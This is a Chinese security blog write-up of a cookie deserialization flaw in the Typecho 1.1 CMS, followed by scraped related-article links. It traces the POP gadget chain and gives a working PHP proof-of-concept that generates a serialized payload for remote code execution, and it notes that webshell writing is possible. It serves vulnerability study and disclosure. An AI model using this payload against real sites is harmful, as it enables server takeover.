[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell
环境搭建
源码下载:https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip
下载后部署到web根目录,然后进行安装即可,其中注意要提前在mysql中创建一个对应的数据库.

漏洞分析
漏洞起始点前的障碍清除

先是一个refer检测,填写一个站内地址即可
$_SERVER中到底哪些是可以通过客户端进行控制的呢???
漏洞起始点
、
全局搜索所有的__wakeup函数和__destruct函数,但似乎都没有利用点
按照之前的思路,我一般就放弃了,但这题,让我见识了新思路。就是只要是用户可控的,可能在某一点没办法利用,但可能在其余的地方被利用
按照大师傅的思路,跟着输入流继续往下走

可以看到,$config可控,此时的不就会触发__toString了嘛!!!!
全局跟踪__toString

不得不说,phpstorm还是好啊,不仅支持函数预览,不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图,后三个为有函数体的,前面没有函数体的,会微微泛黄
漏洞搜寻-测试点1

最开始看到这里的时候,我感觉都可以形成链子了,$callback $args 都可以控制
最后失败了,原因是这里的$callback是静态变量中的,如果是$this就可以了。。
漏洞搜寻-测试点2

不得不说这一段是真的长,只能慢慢看。看了好久,似乎没啥发现。。。
看了其他文章,才发现这里涉及__get触发--也就是访问了非public变量

这样的话,我们又开始要全局追踪__get函数了
只能说有点浮躁,不愿意继续往下跟踪,看了所有的都没发现漏洞。。。



看到了非常nice的函数!!!
回过头分析,判断确实都可控,直接构造pop链
install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)
POC
<?php
class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
}
}
class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array();
public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
}
$a = array();
$a['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($a));
成功

构造POC发现的问题
- 类中的数据序列化前,确保它的访问属性保持一直,避免反序列化不成功!!!
- 最开始构造了一个POC,结果总是返回一个数据库错误,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了,所以会导致开始的目标信息无法输出。
解决办法:调试的时候手动添加exit提前退出。实际情况下,就控制程序不要走Exception,避免ob_end_clean()清除缓冲区 - 对于2的问题,只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时,也是可以的。
ENDING
反序列化就是多跟,多联想。只要思路广,链子永不断!!!
[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell的更多相关文章
- 转载--Typecho install.php 反序列化导致任意代码执行
转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- Jackson序列化和反序列化Json数据完整示例
Jackson序列化和反序列化Json数据 Web技术发展的今天,Json和XML已经成为了web数据的事实标准,然而这种格式化的数据手工解析又非常麻烦,软件工程界永远不缺少工具,每当有需求的时候就会 ...
- 【转】用ASP.NET加密Cookie数据
来源:http://www.cnblogs.com/taizhouxiaoba/archive/2009/02/05/1384772.html Cookie中的数据以文本的形式存在客户端计算机,考虑它 ...
- [android]-如何在向服务器发送request时附加已保存的cookie数据
[android]-如何在向服务器发送request时附加已保存的cookie数据 应用场景:在开发android基于手机端+服务器端的应用时,登陆->获取用户信息->获取授权用户相关业务 ...
- Typecho V1.1反序列化导致代码执行分析
0x00 前言 今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01 什么是反序列 ...
- curl获得cookie数据<转>
CURL *curl; CURLcode res; struct curl_slist *headers = NULL; curl_global_init(CURL_GLOBAL_ALL); curl ...
- go-redis 基于beego正确使用序列化存储数据和反序列化获取数据
安装go-redis // 安装命令 go get github.com/gomodule/redigo/redis // 导入使用 import( "github.com/gomodule ...
- Cookie默认不设置path时,哪些请求会携带cookie数据
默认不设置path的时候,只会在请求和servlet同路径的情况下才会携带cookie中存储的数据,包含同级目录和下级目录 例如: 在http://localhost:8080/day01/test/ ...
随机推荐
- PicGo插件
前言:主要介绍PicGo插件,这里的图床上传软件是PicGo-Core,使用命令行操作 PicGo_Path:自己的PicGo安装路径,如果通过Typora一般安装位置位于 C:\Users\自己的主 ...
- Typora 快捷方式
1.标题编写 方法一:几个#号 代表几级标题 (共6级) 方法二:ctrl +1 .2.3.4.5.6 2.如何编写子标题 第一种:无序子标题(无序列表) *号 + 空格书写标题文本 (输入 ...
- sqlldr 导入有中文乱码问题
1.导入成功后,查看导入数据有乱码 2.查看字符集为uft8 select * from v$nls_parameters where PARAMETER like '%NLS_CHARACTERSE ...
- idea连接数据库时区:Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' prope
错误界面 IDEA连接mysql,地址,用户名,密码,数据库名,全都配置好了,点测试连接,咔!不成功! 界面是这样的, 翻译过来就是:服务器返回无效时区.进入"高级"选项卡,手动设 ...
- TypeScript 泛型及应用
TypeScript 泛型及应用 一.泛型是什么 二.泛型接口 三.泛型类 四.泛型约束 4.1 确保属性存在 4.2 检查对象上的键是否存在 五.泛型参数默认类型 六.泛型条件类型 七.泛型工具类型 ...
- IO流(二)
一:字符流 字符输入流 写入文件字符流 import java.io.FileWriter; import java.io.IOException; //fileWriter public class ...
- pytest-mian函数运行
1.设置多并发运行 1.命令行安装 pip install pytest-xdist #安装插件,进行多并发运行,#调用:-n -5 import pytest # pytest.main([&quo ...
- 【linux系统】命令学习(七)进阶命令 curl jq
curl 支持dict file ftp ftps gopher http https imap 1.实现代理 curl -x 129.3.3.3:8888 https://baidu.com 2.g ...
- python实现图片的ROI(region of interest)和泛洪填充
目录: (一)ROI操作 (1)获取感兴趣区域(2)还原操作 (二)泛洪填充floodFill 正文: (一)ROI操作 感兴趣区(Region of Interest,ROIs) 是图像的一部分,它 ...
- [cf1236F]Alice and the Cactus
首先,我们要用到期望的一个性质: 对于两个随机变量$X$和$Y$(不需要相互独立),有$E(X+Y)=E(X)+E(Y)$ 另外,对于一个仙人掌,令$n$为点数,$m$为边数,$c$为简单环个数,$X ...